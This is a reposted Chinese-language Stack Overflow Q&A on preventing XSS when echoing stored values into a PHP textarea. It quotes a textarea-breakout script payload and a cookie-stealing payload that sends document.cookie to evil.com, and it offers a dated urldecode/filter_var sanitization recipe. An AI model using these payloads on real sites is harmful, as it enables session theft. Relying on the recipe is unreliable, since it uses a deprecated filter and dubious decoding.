gpt4 book ai didi

php - 清理 XSS 到 Textarea 的输出

转载 作者:行者123 更新时间:2023-12-05 09:24:37 24 4
gpt4 key购买 nike

如果要在文本区域等输入中使用数据库(在 php 中)的值,最好的清理方法是什么?

例如,当插入数据时,我可以去除标签和引号并将它们替换为 html 字符代码,然后在插入之前使用 mysql_real_escape_string。

当检索回该数据时,我需要它显示在文本区域中。我怎样才能做到这一点并仍然避免 XSS? (例如,您可以轻松输入

</textarea><script type='text/javascript'> Malicious Code</script><textarea>

) 并引起问题。

谢谢!

最佳答案

如果您想使用纯粹简单的 php 解决方案,我想我更喜欢 filter_varurl_decode 的组合

原因

想象一下这样的归因

$maliciousCode = "<script>document.write(\"<img src='http://evil.com/?cookies='\"+document.cookie+\"' style='display:none;' />\");</script> I love PHP";

如果我使用strip_tags

var_dump(strip_tags($maliciousCode));

输出

string 'document.write("' (length=16)

如果我使用htmlspecialchars

var_dump(htmlspecialchars($maliciousCode));

输出

string '&lt;script&gt;document.write(&quot;&lt;img src='http://evil.com/?cookies='&quot;+document.cookie+&quot;' style='display:none;' /&gt;&quot;);&lt;/script&gt; I love PHP' (length=166)

我的选择

function cleanData($str) {
$str = urldecode ($str );
$str = filter_var($str, FILTER_SANITIZE_STRING);
$str = filter_var($str, FILTER_SANITIZE_SPECIAL_CHARS);
return $str ;
}

$input = cleanData ( $maliciousCode );
var_dump($input);

输出

 string 'document.write(&#38;#34;&#38;#34;); I love PHP' (length=46)

如果表单使用 GET 而不是 POST 如果它是 url 编码的,一些可以直到转义,您可以获得最少的信息并确保最终文本是无害的

网上的类也够多,帮你做过滤看看

关于php - 清理 XSS 到 Textarea 的输出,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/10270398/

24 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com